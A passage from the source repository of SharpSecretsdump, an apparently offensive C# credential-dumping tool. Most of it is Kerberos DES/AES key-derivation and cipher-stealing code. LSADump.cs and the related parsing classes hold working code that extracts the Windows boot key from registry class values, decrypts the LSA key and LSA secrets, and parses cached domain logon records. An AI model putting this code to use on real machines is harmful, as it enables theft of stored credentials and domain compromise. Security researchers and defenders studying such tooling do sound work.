126 | int lastBlockIndex = outputBuffer.Length - blockSize;
127 | int nextToLastBlockIndex = outputBuffer.Length - 2 * blockSize;
128 | byte[] lastBlock = ArrayUtility.SubArray(outputBuffer, outputBuffer.Length - blockSize);
129 | Array.Copy(outputBuffer, nextToLastBlockIndex, outputBuffer, lastBlockIndex, blockSize);
130 | Array.Copy(lastBlock, 0, outputBuffer, nextToLastBlockIndex, blockSize);
131 | return outputBuffer;
132 | }
133 | else
134 | {
135 | // encrypt the input data without the last two blocks
136 | List result = new List();
137 | int frontLength = inputCount - blockSize - remainLength;
138 | if (frontLength > 0)
139 | {
140 | byte[] frontOutputBuffer = EncryptWithCBCMode(inputBuffer, inputOffset, frontLength);
141 | inputOffset += frontLength;
142 | result.AddRange(frontOutputBuffer);
143 | }
144 |
145 | // encrypt the next to last block
146 | byte[] nextToLastBlock = XorCipherState(inputBuffer, inputOffset, cipherState, blockSize);
147 | nextToLastBlock = encryptor.TransformFinalBlock(nextToLastBlock, 0, nextToLastBlock.Length);
148 | Array.Copy(nextToLastBlock, 0, cipherState, 0, blockSize);
149 | nextToLastBlock = ArrayUtility.SubArray(nextToLastBlock, 0, remainLength);
150 |
151 | // encrypt the last block
152 | inputOffset += blockSize;
153 | byte[] lastBlock = XorCipherState(inputBuffer, inputOffset, cipherState, remainLength);
154 | lastBlock = encryptor.TransformFinalBlock(lastBlock, 0, lastBlock.Length);
155 |
156 | // swap the last two blocks
157 | result.AddRange(lastBlock);
158 | result.AddRange(nextToLastBlock);
159 | return result.ToArray();
160 | }
161 | }
162 | #endregion Private Methods: Encryption
163 |
164 |
165 | #region Private Methods: Helpers
166 | ///
167 | /// XOR a block of data in the input buffer with current cipher state
168 | /// (The first xorSize bytes in cipher state are used for the operation)
169 | ///
170 | /// input buffer
171 | /// input offset
172 | /// cipher state buffer
173 | /// the size in cipher state that used for XOR operation
174 | /// the XOR result of one block size
175 | private byte[] XorCipherState(
176 | byte[] inputBuffer,
177 | int inputOffset,
178 | byte[] cipherStateBuffer,
179 | int xorSize)
180 | {
181 | byte[] blockBuffer = (byte[])cipherStateBuffer.Clone();
182 | for (int i = 0; i < xorSize; i++)
183 | {
184 | blockBuffer[i] = (byte)(inputBuffer[inputOffset + i] ^ cipherStateBuffer[i]);
185 | }
186 | return blockBuffer;
187 | }
188 | #endregion Private Methods: Helpers
189 |
190 |
191 | #region Internal Methods
192 | ///
193 | /// Computes the encryption transformation for the specified region of the specified byte array.
194 | ///
195 | /// The input on which to perform the operation on.
196 | /// The offset into the byte array from which to begin using data from.
197 | /// The number of bytes in the byte array to use as data.
198 | /// The computed transformation
199 | /// Thrown when input buffer is null
200 | /// Thrown when invalid argument is detected
201 | public byte[] EncryptFinal(
202 | byte[] inputBuffer,
203 | int inputOffset,
204 | int inputCount)
205 | {
206 | // Check input
207 | if (null == inputBuffer)
208 | {
209 | throw new ArgumentNullException("inputBuffer");
210 | }
211 | if (inputBuffer.Length < blockSize)
212 | {
213 | throw new ArgumentException(
214 | "The input data to be encrypted should be at least one block size.");
215 | }
216 | if (inputOffset + inputCount > inputBuffer.Length)
217 | {
218 | throw new ArgumentException(
219 | "The to-be encrypted data should not exceed the input array length.");
220 | }
221 |
222 | // Do encryption according to the to be encrypted data length
223 | byte[] result;
224 | if (inputCount == blockSize)
225 | {
226 | // exactly one block
227 | result = EncryptWithCBCMode(inputBuffer, inputOffset, inputCount);
228 | }
229 | else
230 | {
231 | // larger than one block
232 | result = EncryptWithCTSMode(inputBuffer, inputOffset, inputCount);
233 | }
234 |
235 | // Reset cipher state
236 | iv.CopyTo(cipherState, 0);
237 | return result;
238 | }
239 |
240 | #endregion Internal Methods
241 | }
242 | }
243 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/ConstValue.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSecretsdump.lib.Kerberos
4 | {
5 | ///
6 | /// Define const values used in this project.
7 | ///
8 | public static class ConstValue
9 | {
10 | #region Encryption and Checksum
11 |
12 | ///
13 | /// (8 bits) The length of byte in bits
14 | ///
15 | public const int BYTE_SIZE = 8;
16 |
17 | ///
18 | /// (16 bytes = 128 bits) Size of AES encryption block
19 | ///
20 | public const int AES_BLOCK_SIZE = 16;
21 |
22 | ///
23 | /// (8 bytes = 64 bits) Size of DES encryption block
24 | ///
25 | public const int DES_BLOCK_SIZE = 8;
26 |
27 | ///
28 | /// (64 bits) Block Size in DES-CBC
29 | ///
30 | internal const int DES_CBC_BLOCK_SIZE = 64;
31 |
32 | #endregion
33 | }
34 | }
35 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/CryptoUtility.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Security.Cryptography;
4 |
5 | namespace SharpSecretsdump.lib.Kerberos
6 | {
7 | public static class CryptoUtility
8 | {
9 | #region Common
10 | ///
11 | /// Convert a byte to its binary presentation in char array
12 | /// (for example, byte b = 3, which will be presented by
13 | /// char array {'0', '0', '0', '0', '0', '0', '1', '1'})
14 | ///
15 | /// the byte
16 | /// the byte's binary presentation
17 | internal static char[] GetBits(byte b)
18 | {
19 | // initialize result array to '0'
20 | char[] result = new char[ConstValue.BYTE_SIZE] { '0', '0', '0', '0', '0', '0', '0', '0' };
21 |
22 | // get the binary
23 | char[] binary = Convert.ToString(b, 2).ToCharArray();
24 |
25 | // copy binary to result array
26 | Array.Copy(binary, 0, result, result.Length - binary.Length, binary.Length);
27 | return result;
28 | }
29 |
30 |
31 | ///
32 | /// Convert a list of binary bits to bytes
33 | /// (for example, char array {'0', '0', '0', '0', '0', '0', '1', '1'}
34 | /// will be converted to byte b = 3)
35 | ///
36 | /// bits represented by chars ('0' and '1')
37 | /// the converted byte array
38 | internal static byte[] ConvertBitsToBytes(List bits)
39 | {
40 | if (null == bits)
41 | {
42 | throw new ArgumentNullException("bits");
43 | }
44 | if (bits.Count % ConstValue.BYTE_SIZE != 0)
45 | {
46 | throw new ArgumentException("Bits length should be a multiply of 8");
47 | }
48 |
49 | byte[] result = new byte[bits.Count / ConstValue.BYTE_SIZE];
50 | for (int i = 0; i < result.Length; i++)
51 | {
52 | string s = new string(bits.GetRange(i * ConstValue.BYTE_SIZE, ConstValue.BYTE_SIZE).ToArray());
53 | result[i] = Convert.ToByte(s, 2);
54 | }
55 | return result;
56 | }
57 |
58 | #endregion Common
59 |
60 |
61 | #region DES Crypto Related
62 | ///
63 | /// Create a DES-CBC encryptor
64 | ///
65 | /// the key
66 | /// the initialization vector
67 | /// the padding mode
68 | /// the DES-CBC encryptor
69 | [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Security.Cryptography", "CA5351:DESCannotBeUsed")]
70 | internal static ICryptoTransform CreateDesCbcEncryptor(
71 | byte[] key,
72 | byte[] initialVector,
73 | PaddingMode padding)
74 | {
75 | // check inputs
76 | if (null == key)
77 | {
78 | throw new ArgumentNullException("key");
79 | }
80 | if (null == initialVector)
81 | {
82 | throw new ArgumentNullException("initialVector");
83 | }
84 |
85 | // Set crypto to DES-CBC mode
86 | DESCryptoServiceProvider des = new DESCryptoServiceProvider();
87 | des.Mode = CipherMode.CBC;
88 | des.BlockSize = ConstValue.DES_CBC_BLOCK_SIZE;
89 |
90 | // Set padding mode
91 | des.Padding = padding;
92 |
93 | // Create encryptor from key and initilize vector
94 | return des.CreateEncryptor(key, initialVector);
95 | }
96 |
97 | #endregion DES Crypto Related
98 |
99 | #region AES Crypto Related
100 | ///
101 | /// Create AES-CTS encryptor/decryptor
102 | ///
103 | /// the key
104 | /// the initialization vector
105 | /// the AES-CTS encryptor
106 | internal static CipherTextStealingMode CreateAesCtsCrypto(
107 | byte[] key,
108 | byte[] initialVector)
109 | {
110 | // check inputs
111 | if (null == key)
112 | {
113 | throw new ArgumentNullException("key");
114 | }
115 | if (null == initialVector)
116 | {
117 | throw new ArgumentNullException("initialVector");
118 | }
119 |
120 | // initialize AES
121 | AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
122 | aes.Key = key;
123 | aes.IV = initialVector;
124 |
125 | // create AES-CTS encryptor/decryptor
126 | return new CipherTextStealingMode(aes);
127 | }
128 | #endregion AES Crypto Related
129 | }
130 | }
131 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/DesKey.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Collections.Generic;
4 | using System.Security.Cryptography;
5 |
6 | namespace SharpSecretsdump.lib.Kerberos
7 | {
8 | ///
9 | /// DES Key Generator
10 | ///
11 | public static class DesKey
12 | {
13 | #region Constants
14 | ///
15 | /// Weak key table
16 | /// (defined in National Bureau of Standards, U.S. Department of Commerce,
17 | /// "Guidelines for implementing and using NBS Data Encryption Standard,"
18 | /// Federal Information Processing Standards Publication 74, Washington, DC, 1981)
19 | ///
20 | private static readonly ulong[] weakKeys = new ulong[] {
21 | 0x0101010101010101, 0xFEFEFEFEFEFEFEFE, 0xE0E0E0E0F1F1F1F1, 0x1F1F1F1F0E0E0E0E,
22 | 0x011F011F010E010E, 0x1F011F010E010E01, 0x01E001E001F101F1, 0xE001E001F101F101,
23 | 0x01FE01FE01FE01FE, 0xFE01FE01FE01FE01, 0x1FE01FE00EF10EF1, 0xE01FE01FF10EF10E,
24 | 0x1FFE1FFE0EFE0EFE, 0xFE1FFE1FFE0EFE0E, 0xE0FEE0FEF1FEF1FE, 0xFEE0FEE0FEF1FEF1
25 | };
26 | #endregion Constants
27 |
28 |
29 | #region Private Methods
30 | ///
31 | /// Remove the MSB (Most Significant Bit) in each octet
32 | /// (in big endian mode) and concatenates the result
33 | /// [RFC 3961, Section 6.2, removeMSBits()]
34 | ///
35 | /// input 8 bytes
36 | /// output 7 bytes
37 | private static byte[] RemoveMSBits(byte[] inputData)
38 | {
39 | // check input
40 | if (null == inputData || ConstValue.DES_BLOCK_SIZE != inputData.Length)
41 | {
42 | throw new ArgumentException("The input data must contain exactly 8 bytes.");
43 | }
44 |
45 | // remove the most significant bit from each byte
46 | List newBits = new List();
47 | foreach (byte b in inputData)
48 | {
49 | List temp = new List(CryptoUtility.GetBits(b));
50 | temp.RemoveAt(0);
51 | newBits.AddRange(temp);
52 | }
53 |
54 | // parse the 56 bits to 7 bytes
55 | return CryptoUtility.ConvertBitsToBytes(newBits);
56 | }
57 |
58 |
59 | ///
60 | /// Treat a 56-bit block as a binary string and reverse it
61 | /// [RFC 3961, Section 6.2, reverse(56bitblock)]
62 | ///
63 | /// input data to be reversed
64 | /// the reversed data
65 | private static byte[] Reverse(byte[] inputData)
66 | {
67 | // Check input
68 | if (null == inputData || 7 != inputData.Length)
69 | {
70 | throw new ArgumentException("The inputData should be a 56 bits value.");
71 | }
72 |
73 | // Get all bits
74 | List allBits = new List();
75 | foreach (byte b in inputData)
76 | {
77 | allBits.AddRange(CryptoUtility.GetBits(b));
78 | }
79 |
80 | // Reverse
81 | allBits.Reverse();
82 |
83 | // Convert bits to bytes
84 | return CryptoUtility.ConvertBitsToBytes(allBits);
85 | }
86 |
87 |
88 | ///
89 | /// Add DES Parity Bits
90 | /// (Copies a 56-bit block into a 64-bit block,
91 | /// left shifts content in each octet, and add DES parity bit)
92 | /// [RFC 3961, Section 6.2, add_parity_bits(56bitblock)]
93 | ///
94 | /// the input 56-bit data
95 | /// the parity-added 64-bit data
96 | private static byte[] AddParityBits(byte[] inputData)
97 | {
98 | // check input
99 | if (null == inputData || 7 != inputData.Length)
100 | {
101 | throw new ArgumentException("The inputData should be a 56 bits value.");
102 | }
103 |
104 | // get all bits
105 | List allBits = new List();
106 | foreach (byte b in inputData)
107 | {
108 | allBits.AddRange(CryptoUtility.GetBits(b));
109 | }
110 |
111 | // insert parity bits
112 | List newBits = new List();
113 | for (int i = 0; i < ConstValue.DES_BLOCK_SIZE; i++)
114 | {
115 | // get 7 bits
116 | List temp = allBits.GetRange(7 * i, 7);
117 |
118 | // count the number of ones
119 | bool even = true;
120 | foreach (char bit in temp)
121 | {
122 | if (bit == '1')
123 | {
124 | even = !even;
125 | }
126 | }
127 |
128 | // if the number of 1 in an octet is even, the least significant bit will be 1
129 | temp.Add(even ? '1' : '0');
130 | newBits.AddRange(temp);
131 | }
132 |
133 | // convert to bytes
134 | return CryptoUtility.ConvertBitsToBytes(newBits);
135 | }
136 |
137 |
138 | ///
139 | /// Fix parity bits in input data
140 | ///
141 | /// input data
142 | /// parity-fixed data
143 | private static byte[] FixParity(byte[] inputData)
144 | {
145 | List newBits = new List();
146 | for (int i = 0; i < inputData.Length; i++)
147 | {
148 | char[] bits = CryptoUtility.GetBits(inputData[i]);
149 |
150 | // check the first 7 bits
151 | bool even = true;
152 | for (int j = 0; j < bits.Length - 1; j++)
153 | {
154 | if (bits[j] == '1')
155 | {
156 | even = !even;
157 | }
158 | }
159 |
160 | // Reset the last bit
161 | bits[bits.Length - 1] = even ? '1' : '0';
162 | newBits.AddRange(bits);
163 | }
164 | return CryptoUtility.ConvertBitsToBytes(newBits);
165 | }
166 |
167 |
168 | ///
169 | /// The key is corrected when the parity is fixed and
170 | /// assure the key is not "weak key" or "semi-weak key"
171 | /// [RFC 3961, Section 6.2, key_correction(key))
172 | ///
173 | /// input key data
174 | /// the corrected key data
175 | private static byte[] KeyCorrection(byte[] key)
176 | {
177 | // fix parity
178 | byte[] newKey = FixParity(key);
179 |
180 | // convert to little endian
181 | Array.Reverse(newKey);
182 | ulong weakKeyTest = BitConverter.ToUInt64(newKey, 0);
183 |
184 | // Recovery the order
185 | Array.Reverse(newKey);
186 |
187 | // if it is weak key or semi-weak key, correct it
188 | List weakKeyList = new List(weakKeys);
189 | if (weakKeyList.Contains(weakKeyTest))
190 | {
191 | // XOR with 0x00000000000000F0
192 | newKey[7] ^= 0xF0;
193 | }
194 | return newKey;
195 | }
196 |
197 |
198 | ///
199 | /// Generate DES key from specified string and salt
200 | /// [RFC 3961, Section 6.2, mit_des_string_to_key(string, salt)]
201 | ///
202 | /// password in UTF-8
203 | /// salt in UTF-8
204 | /// the generated DES key (8 bytes)
205 | private static byte[] MitDesStringToKey(string password, string salt)
206 | {
207 | // check input
208 | if (null == password)
209 | {
210 | throw new ArgumentNullException("password");
211 | }
212 | if (null == salt)
213 | {
214 | throw new ArgumentNullException("salt");
215 | }
216 |
217 | // initialize input buffer
218 | List inputBytes = new List();
219 | inputBytes.AddRange(Encoding.UTF8.GetBytes(password));
220 | inputBytes.AddRange(Encoding.UTF8.GetBytes(salt));
221 |
222 | //Add padding to 8 byte boundary
223 | int inputLength = inputBytes.Count + (ConstValue.DES_BLOCK_SIZE - inputBytes.Count %
224 | ConstValue.DES_BLOCK_SIZE) % ConstValue.DES_BLOCK_SIZE;
225 |
226 | byte[] input = new byte[inputLength];
227 | Array.Copy(inputBytes.ToArray(), 0, input, 0, inputBytes.Count);
228 |
229 | // initialize temporary buffers
230 | byte[] blockBuffer = new byte[ConstValue.DES_BLOCK_SIZE];
231 | byte[] sevenBytesBuffer = new byte[7];
232 | byte[] fanFoldBuffer = new byte[7];
233 |
234 | // fan-fold padded value
235 | bool odd = true;
236 | for (int i = 0; i < input.Length; i += ConstValue.BYTE_SIZE)
237 | {
238 | // get a new block
239 | Array.Copy(input, i, blockBuffer, 0, blockBuffer.Length);
240 |
241 | // remove most significant bits
242 | sevenBytesBuffer = RemoveMSBits(blockBuffer);
243 |
244 | // do reverse
245 | if (!odd)
246 | {
247 | sevenBytesBuffer = Reverse(sevenBytesBuffer);
248 | }
249 | odd = !odd;
250 |
251 | // do fan-fold
252 | for (int j = 0; j < fanFoldBuffer.Length; j++)
253 | {
254 | fanFoldBuffer[j] ^= sevenBytesBuffer[j];
255 | }
256 | }
257 |
258 | // convert to a 64-bit intermediate key
259 | byte[] intermediateKey = KeyCorrection(AddParityBits(fanFoldBuffer));
260 |
261 | // encryption
262 | // (DES key is generated from intermediate key, the IV also uses the intermediate key)
263 | ICryptoTransform encryptor =
264 | CryptoUtility.CreateDesCbcEncryptor(intermediateKey, intermediateKey, PaddingMode.Zeros);
265 | byte[] result = encryptor.TransformFinalBlock(input, 0, input.Length);
266 | if (result.Length < 2 * ConstValue.DES_BLOCK_SIZE)
267 | {
268 | throw new FormatException("DES CBC Encryption Error.");
269 | }
270 |
271 | // DES key is the key-corrected last block of the encryption value
272 | byte[] lastBlock = new byte[ConstValue.DES_BLOCK_SIZE];
273 | Array.Copy(result, result.Length - ConstValue.DES_BLOCK_SIZE, lastBlock, 0, lastBlock.Length);
274 | return KeyCorrection(lastBlock);
275 | }
276 | #endregion Private Methods
277 |
278 |
279 | #region Internal Methods
280 | ///
281 | /// Generate an encryption key from password and salt
282 | /// [RFC 3961, Section 6.2, des_string_to_key(string,salt,params)]
283 | ///
284 | /// password
285 | /// salt
286 | /// the encrypted key in bytes
287 | internal static byte[] MakeStringToKey(string password, string salt)
288 | {
289 | return MitDesStringToKey(password, salt);
290 | }
291 | #endregion Internal Methods
292 | }
293 | }
294 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/KeyGenerator.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 |
4 | namespace SharpSecretsdump.lib.Kerberos
5 | {
6 | ///
7 | /// Key Generator
8 | /// (called by KilePdu and KileDecoder)
9 | ///
10 | public static class KeyGenerator
11 | {
12 | ///
13 | /// Generate key according to password, salt and encryption type
14 | ///
15 | /// encryption type
16 | /// password
17 | /// salt
18 | /// the generated key in bytes
19 | public static byte[] MakeKey(EncryptionType type, string password, string salt)
20 | {
21 | switch (type)
22 | {
23 | case EncryptionType.AES128_CTS_HMAC_SHA1_96:
24 | {
25 | return AesKey.MakeStringToKey(password, salt,
26 | AesKey.DEFAULT_ITERATION_COUNT, AesKeyType.Aes128BitsKey);
27 | }
28 |
29 | case EncryptionType.AES256_CTS_HMAC_SHA1_96:
30 | {
31 | return AesKey.MakeStringToKey(password, salt,
32 | AesKey.DEFAULT_ITERATION_COUNT, AesKeyType.Aes256BitsKey);
33 | }
34 |
35 | case EncryptionType.DES_CBC_MD5:
36 | {
37 | return DesKey.MakeStringToKey(password, salt);
38 | }
39 |
40 | default:
41 | throw new ArgumentException("Unsupported encryption type.");
42 | }
43 | }
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/Kerberos/Types.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace SharpSecretsdump.lib.Kerberos
4 | {
5 | public enum EncryptionType : int
6 | {
7 | ///
8 | /// Represent AES256_CTS_HMAC_SHA1_96 encryption type
9 | ///
10 | AES256_CTS_HMAC_SHA1_96 = 18,
11 |
12 | ///
13 | /// Represent AES128_CTS_HMAC_SHA1_96 encryption type
14 | ///
15 | AES128_CTS_HMAC_SHA1_96 = 17,
16 |
17 | ///
18 | /// Represent DES_CBC_MD5 encryption type
19 | ///
20 | DES_CBC_MD5 = 3,
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/LSADump.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.ComponentModel;
3 | using System.Runtime.InteropServices;
4 | using System.Text;
5 |
6 | namespace SharpSecretsdump
7 | {
8 | public class LSADump
9 | {
10 | public static byte[] GetLSASecret(string secretName, byte[] LSAKey)
11 | {
12 | string keyPath = String.Format("SECURITY\\Policy\\Secrets\\{0}\\CurrVal", secretName);
13 | byte[] keyData = Helpers.GetRegKeyValue(keyPath);
14 |
15 | if (keyData == null)
16 | return null;
17 |
18 | byte[] keyEncryptedData = new byte[keyData.Length - 28];
19 | Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length);
20 |
21 | // calculate the temp key by using the LSA key to calculate the Sha256 hash on the first 32 bytes
22 | // of the extracted secret data
23 | byte[] keyEncryptedDataEncryptedKey = new byte[32];
24 | Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32);
25 | byte[] tmpKey = Crypto.LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey);
26 |
27 | // use the temp key to decrypt the rest of the plaintext
28 | byte[] keyEncryptedDataRemainder = new byte[keyEncryptedData.Length - 32];
29 | Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length);
30 | byte[] keyPathPlaintext = Crypto.LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder);
31 |
32 | return keyPathPlaintext;
33 | }
34 |
35 | public static byte[] GetLSAKey(byte[] bootkey)
36 | {
37 | byte[] LSAKeyEncryptedStruct = Helpers.GetRegKeyValue(@"SECURITY\Policy\PolEKList");
38 | byte[] LSAEncryptedData = new byte[LSAKeyEncryptedStruct.Length-28];
39 | Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length);
40 |
41 | // calculate the temp key by using the boot key to calculate the Sha256 hash on the first 32 bytes
42 | // of the LSA key data
43 | byte[] LSAEncryptedDataEncryptedKey = new byte[32];
44 | Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32);
45 | byte[] tmpKey = Crypto.LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey);
46 |
47 | // use the temp key to decrypt the rest of the LSA struct
48 | byte[] LSAEncryptedDataRemainder = new byte[LSAEncryptedData.Length-32];
49 | Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length);
50 | byte[] IV = new byte[16];
51 | byte[] LSAKeyStructPlaintext = Crypto.LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder);
52 |
53 | byte[] LSAKey = new byte[32];
54 | Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32);
55 |
56 | return LSAKey;
57 | }
58 |
59 | public static byte[] GetBootKey()
60 | {
61 | // returns the system boot key (aka syskey) that's later used to calculate the LSA key
62 |
63 | StringBuilder scrambledKey = new StringBuilder();
64 |
65 | foreach (string key in new string[] { "JD", "Skew1", "GBG", "Data" })
66 | {
67 | string keyPath = String.Format("SYSTEM\\CurrentControlSet\\Control\\Lsa\\{0}", key);
68 | StringBuilder classVal = new StringBuilder(1024);
69 | int len = 1024;
70 | int result = 0;
71 | IntPtr hKey = IntPtr.Zero;
72 | IntPtr dummy = IntPtr.Zero;
73 |
74 | // open the specified key with read (0x19) privileges
75 | // 0x80000002 == HKLM
76 | result = Interop.RegOpenKeyEx(0x80000002, keyPath, 0, 0x19, ref hKey);
77 | if (result != 0)
78 | {
79 | int error = Marshal.GetLastWin32Error();
80 | string errorMessage = new Win32Exception((int)error).Message;
81 | Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, error, errorMessage);
82 | return null;
83 | }
84 |
85 | result = Interop.RegQueryInfoKey(hKey, classVal, ref len, 0, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, ref dummy, IntPtr.Zero);
86 | if (result != 0)
87 | {
88 | int error = Marshal.GetLastWin32Error();
89 | string errorMessage = new Win32Exception((int)error).Message;
90 | Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, error, errorMessage);
91 | return null;
92 | }
93 | Interop.RegCloseKey(hKey);
94 |
95 | scrambledKey.Append(classVal);
96 | }
97 |
98 | // reference: https://github.com/brandonprry/gray_hat_csharp_code/blob/e1d5fc2a497ae443225d840718adde836ffaeefe/ch14_reading_offline_hives/Program.cs#L74-L82
99 | byte[] skey = Helpers.StringToByteArray(scrambledKey.ToString());
100 | byte[] descramble = new byte[] { 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
101 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 };
102 |
103 | byte[] bootkey = new byte[16];
104 | for (int i = 0; i < bootkey.Length; i++)
105 | bootkey[i] = skey[descramble[i]];
106 |
107 | return bootkey;
108 | }
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/LsaSecretBlob.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | namespace SharpSecretsdump
4 | {
5 | internal class LsaSecretBlob
6 | {
7 | public LsaSecretBlob(byte[] inputData)
8 | {
9 | length = BitConverter.ToInt16(inputData.Take(4).ToArray(), 0);
10 | unk = inputData.Skip(4).Take(12).ToArray();
11 | secret = inputData.Skip(16).Take(length).ToArray();
12 | }
13 |
14 | public int length { get; set; }
15 | public byte[] unk { get; set; }
16 | public byte[] secret { get; set; }
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/SharpSecretsdump/lib/NL_Record.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 |
4 | namespace SharpSecretsdump
5 | {
6 | internal class NL_Record
7 | {
8 | public NL_Record(byte[] inputData)
9 | {
10 | userLength = BitConverter.ToInt16(inputData.Take(2).ToArray(), 0);
11 | domainNameLength = BitConverter.ToInt16(inputData.Skip(2).Take(2).ToArray(), 0);
12 | dnsDomainLength = BitConverter.ToInt16(inputData.Skip(60).Take(2).ToArray(), 0);
13 | IV = inputData.Skip(64).Take(16).ToArray();
14 | encryptedData = inputData.Skip(96).Take(inputData.Length - 96).ToArray();
15 | lastWrite = DateTime.FromFileTimeUtc(BitConverter.ToInt64(inputData.Skip(32).Take(8).ToArray(), 0));
16 | }
17 | public int userLength { get; set; }
18 | public int domainNameLength { get; set; }
19 | public int dnsDomainLength { get; set; }
20 | public byte[] IV { get; set; }
21 | public byte[] encryptedData { get; set; }
22 | public DateTime lastWrite { get; set; }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------